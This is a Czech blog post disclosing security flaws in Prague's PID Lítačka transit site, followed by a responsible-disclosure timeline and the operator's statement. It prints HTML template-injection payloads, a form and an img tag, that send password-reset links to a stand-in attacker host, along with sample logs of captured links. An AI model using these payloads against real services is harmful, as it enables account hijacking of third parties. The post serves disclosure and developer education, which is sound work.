Před pár týdny byl v Praze a Středočeském kraji spuštěn nový Regionální dopravní systém PID Lítačka. Ten umožňuje kupovat jízdné mobilní aplikací, nahrávat kupóny na platební karty (resp. je spolu spárovat) a ty pak přikládat k náhodným zařízením v dopravních prostředcích. A taky uměl získat odkaz na reset hesla jakéhokoliv uživatele přímo z jeho browseru.

Pár dní po spuštění jsme se na to s Jakubem Boučkem z rychlíku podívali a pár bezpečnostních chyb našli vcelku rychle. Kvůli jedné z nich jde zneužít nepovedený reset zapomenutých hesel k únosu účtů.

Nejdříve ale vlítneme na registraci, protože pro další zkoumání budeme potřebovat účet. Po zadání e-mailové adresy a hesla při registraci je ještě nutné účet aktivovat kliknutím na odkaz, který Lítačka pošle na zadaný e-mail.

Aktivace jakéhokoliv účtu

Obsah aktivačního e-mailu včetně odkazu se ale nejdřív posílá z prohlížeče na server, ten ho vezme a pošle na zadaný e-mail. Pokud chcete ověřit jakýkoliv účet, tak se stačí podívat co váš prohlížeč posílá a vytáhnout si ten správný odkaz.

Registrace začíná odesláním těchto dat z JavaScriptu na https://www.pidlitacka.cz/api:

{
   "params": {
      "UserName": "litacka@...",
      "Password": "...",
      "SendPUK": false
   },
   "action": "CreateLogin"
}
Web Developer nástroje ve Firefoxu

Takhle to vypadá v Developer Tools ve Firefoxu, jiný nástroj nebudeme potřebovat

Server prohlížeči vrátí:

{
   "Result": {
      "ID": 0,
      "Type": {
         "Text": null,
         "ID": 0
      },
      "Text": "OK"
   },
   "Login": {
      "UserName": "litacka@...",
      "LoginID": ...,
      "Active": false
   }
}

Následuje poslání obsahu e-mailu z prohlížeče na https://www.pidlitacka.cz/api, server ho vezme a pošle na zadanou adresu:

{
   "action": "SendEmail",
   "params": {
      "LoginID": ...,
      "TokenID": 1,
      "BodyIsHtml": true,
      "Body": "...HTML... aktivaci Vašeho účtu provedete na následujícím odkazu: <br> <a href=\"https://www.pidlitacka.cz/activation?user=...&id=...\"> ...HTML...",
      "Email": "litacka@...",
      "Subject": "Aktivace účtu"
   }
}

Z vašeho prohlížeče si tedy můžete vytáhnout odkaz https://www.pidlitacka.cz/activation?user=...&id=... pro ověření jakéhokoliv e-mailu. Stačí si otevřít Developer Tools a podívat se na odeslaný požadavek. Zajímavostí je také to, že parametr user v odkazu je do Base64 zakódovaná e-mailová adresa uživatele, jehož účet chcete aktivovat a parametr id je 19 číslic, z nichž prvních 10 nápadně připomíná „timestamp“, tedy počet vteřin od 1.1.1970, častý formát zápisu času.

Jakuba napadlo se podívat na zoubek i resetu hesel. Pokud by prohlížeč stejným způsobem posílal i odkaz na reset zapomenutého hesla, tak by se případný útočník mohl dostat i k tomu odkazu a mohl tak komukoliv unést účet resetováním hesla.

Reset zapomenutých hesel

Reset hesla začíná kontrolou existence uživatelského jména, na https://www.pidlitacka.cz/api se pošlou tato data:

{
   "action": "CheckUserName",
   "params": {
      "UserName": "litacka@..."
   }
}

Po odpovědi ze serveru, která obsahuje mj. "LoginID": ..., prohlížeč sestaví zprávu, která se má uživateli poslat a pošle ji na https://www.pidlitacka.cz/api/requestPasswordChange. Odesílaná data:

{
   "template": "...HTML... {{content}} ...HTML...",
   "root": "https://www.pidlitacka.cz/",
   "params": {
      "email": "litacka@..."
   },
   "type": "password"
}

V prohlížeči se po odeslání objeví „Byl vám odeslán email s odkazem pro změnu hesla“, ale požadavek na nastavení nového hesla obsahuje opravdu jenom {{content}}. Na toto místo server přidá odkaz a nějaký další text a výslednou zprávu pošle na zadaný e-mail. Takže asi smůla.

Dobrý den, na základě Vaší on-line žádosti o změnu hesla Vám zasíláme odkaz, na kterém tuto změnu můžete provést.

Výsledná zpráva s nahrazeným {{content}}

Ledaže bychom si nějak ze stránky vytáhli („exfiltrovali“) to HTML, které Lítačka doplní na místo značky {{content}} a poslali ho k sobě na server. Jo, to by šlo. HTML kolem {{content}} má útočník pod kontrolou, takže tu značku může něčím obalit, třeba formulářem a značkou textarea:

{
   "template": "...HTML... <form action=https://útočník><textarea name=html>{{content}}</textarea><input type=submit value=NASTAV></form> ...HTML...",
   "root": "https://www.pidlitacka.cz/",
   "params": {
      "email": "litacka@..."
   },
   "type": "password"
}

Uživateli přijde e-mail, ve kterém uvidí tlačítko NASTAV, klikne na něj a v tu chvíli prohlížeč vezme obsah útočníkem přidaného textového políčka, do kterého server předtím vložil zprávu včetně unikátního odkazu, a pošle ho na útočníkem zadanou adresu.

Zpráva s tlačítkem NASTAV HESLO

Upravená doručená zpráva, jistě by šla víc vyšperkovat

V logu serveru se pak dá najít něco jako:

GET /?html=...%3Ca+href%3D%22https%3A%2F%2Fwww.pidlitacka.cz%2Fpassword-reset%2Fstep2%3Fid%3D...%22%3E... HTTP/2.0

Po dekódování dostaneme <a href="https://www.pidlitacka.cz/password-reset/step2?id=...">. Stačí ten odkaz vzít, otevřít si ho v prohlížeči a nastavit jakémukoliv uživateli nové heslo a tím mu v podstatě unést účet.

Zapomněli jste heslo? Zde si ho můžete obnovit.

Jednotlivé kroky útoku vypadají následovně:

+-------------+
|  Prohlížeč  | (posílá útočníkem upravenou šablonu a adresu oběti)
+------+------+
       |
<form action=útočník>{{content}}</form>
       |
+------v------+
| Lítačka API | (nahradí {{content}} za odkaz, posílá e-mail)
+------+------+
       |
<form action=útočník>odkaz</form>
       |
+------v------+
|    Oběť     | (uživatel klikne na tlačítko v e-mailu)
+------+------+
       |
odkaz na reset hesla
       |
+------v------+
|   Útočník   | (může nastavit heslo oběti a unést účet)
+-------------+

Únos obrázkem

Uvedený způsob vyžaduje uživatelskou akci – uživatel musí kliknout na tlačítko v e-mailu. Další možností je pokusit se načíst obrázek z útočníkovo serveru:

<img src='https://útočník/?html={{content}}'>

Uživatel si otevře e-mail a jeho prohlížeč narazí na útočníkem vložený obrázek. V tu chvíli se browser pokusí stáhnout obrázek z adresy, do které server doplnil e-mail s unikátním kódem pro reset hesla. Všimněte si ohraničení hodnoty atributu src pomocí apostrofů (někdy jim říkáme jednoduché uvozovky). To je proto, že klasické (dvojité) uvozovky z HTML, které se dosadí místo značky {{content}}, by nám jinak src rozbily a předčasně ukončily.

Takový únos HTML ale nefunguje v Chrome, v něm jsou blokovány požadavky na obrázky s adresou, která obsahuje nové řádky a znak menší než (<). Ve Firefoxu by to prošlo, v logu by se objevilo něco jako:

GET /?html=...%3Ca%20href=%22https://www.pidlitacka.cz/password-reset/step2?id=...%22%3E... HTTP/2.0
Únos odkazu přes obrázek ve Firefoxu

Požadavek na obrázek s uneseným odkazem v Developer Tools ve Firefoxu

Jistě by to šlo celé zkombinovat a automatizovat, ale to není cílem tohoto článku. Jednotlivé kroky vypadají podobně jako v případě použití útočníkem přidaného formuláře, jen uživatel nemusí na nic klikat.

Společně s Jakubem Boučkem vás, webové vývojáře, prosíme, nevěřte ničemu co vám prohlížeč posílá, děkujeme. Rozhodně vám totiž nemusí vrátit to, co mu pošlete. A taky si na web dejte soubor security.txt, ať nemusíme dlouze hledat, komu takové chyby hlásit. Lítačka už takový soubor přidala.

Dodatek

Tak jako vždy jsem po napsání textu výše poslal odkaz dotčené firmě s tím, že ho za týden vydám (chybu jsme už před napsáním článku začali rozebírat veřejně na Facebooku, takže nebyl důvod ho „tajit“ déle). Jejich reakce byla ukázková:

  • 29. srpna 2018 ve 22:41 jsem poslal odkaz na neveřejný článek Michalovi Fišerovi, šéfovi společnosti Operátor ICT, a.s., která Lítačku vytvořila
  • 30. srpna v 0:30 posílám odkaz pro jistotu ještě vedoucímu oddělení vývoje a inovací (máme společného známého, díky Vašku za zprostředkování kontaktu), ten za 13 minut(!) odpovídá a píše „Postarám se, aby se dostal na ty správná místa“, wow!
  • 30. srpna v 7:55 reaguje i Michal Fišer, wow!
  • 30. srpna v 13:02 přichází e-mail od vedoucího oddělení ICT, později odpoledne mi volal, že ještě ten den nasadí opravu, ty jo!
  • 31. srpna ve 13:55 posílám popis chyb, na které mě upozornil Jakub. Jedná se o nesouvisející chybu při pokusu o registraci e-mailu, který obsahuje znak + a o dost vážnější problém, který i po pokusu o opravu stále umožní aktivovat účet někoho jiného: v požadavku z prohlížeče stačí zaměnit e-mailovou adresu oběti za nějakou jinou, na kterou server pošle aktivační odkaz pro uživatele podle loginId, které je také součástí požadavku. Pro správnou funkčnost odkazu je pak potřeba vrátit původní adresu oběti zpět do parametru user.
  • 1. září v 1:11 ještě doplňuji, že reset hesla už podle nás vypadá v pořádku, ale upozorňuji na zřejmou chybu původního API pro posílání aktivačních e-mailů, které jde zneužít pro poslání jakýchkoliv e-mailů na libovolné adresy.
  • Po víkendu, 3. září 2018, 23:08, dostávám odpověď, že nasazují opravy i těch zbylých chyb a že chyba při zadání adresy se znakem + je známá a že prý „bojují s problémem na straně použitého LDAP“. Chápu.
  • V úterý 4. září odpoledne si Operátor ICT telefonicky vyžádal posunutí vydání článku o týden – prý se ta poslední dávka oprav nepovedla podle představ. Původně měl článek vyjít následující den, ale Operátor ICT skvěle reaguje a snaží se, tu hlavní chybu (únos resetu hesel) už opravil, a tak to mile rád vydám později.
  • Po týdnu, 12. září, posílám dotaz, jestli jsou ready. Po pár hodinách dostávám odpověď, že skoro jo a že druhý den bude ještě omezeno zasílání libovolných emailů.
  • Dnes dostávám slíbené vyjádření a konečně mačkám tlačítko „Vydat článek“.

Vyjádření Operátora ICT

„Velice si ceníme profesionálního přístupu p. Špačka a jeho kolegy, kteří nás informovali o potencionální bezpečnostní hrozbě v systému, který je nyní v pilotní fázi. Jsme rádi, že jsme na základě jeho podnětu podnikli okamžité kroky ke zlepšení bezpečnosti regionálního dopravně odbavovacího systému. Právě zpětná vazba od expertů je pro nás velice přínosná a pomáhá nám neustále vylepšovat systém pro bezmála 3 miliony cestujících v rámci Prahy a Středočeského kraje. Díky rychlé a profesionální reakci tak nedošlo k žádnému případu zneužití.“ Vladimír Antonin Bláha, tiskový mluvčí městské společnosti Operátor ICT, a.s.

Díky Jakubovi (@JakubBoucek) za spolupráci a společnosti Operátor ICT za skvělé řešení tohoto incidentu. Kéž by takový přístup měli všichni.


Mohlo by vás také zajímat

Michal Špaček

Michal Špaček

Vyvíjím webové aplikace, zajímá mě jejich bezpečnost. Nebojím se o tom mluvit veřejně, hledám hranice tak, že je posouvám. Chci naučit webové vývojáře stavět bezpečnější a výkonnější weby a aplikace.

Veřejná školení

Zvu vás na následující školení, která pořádám a vedu: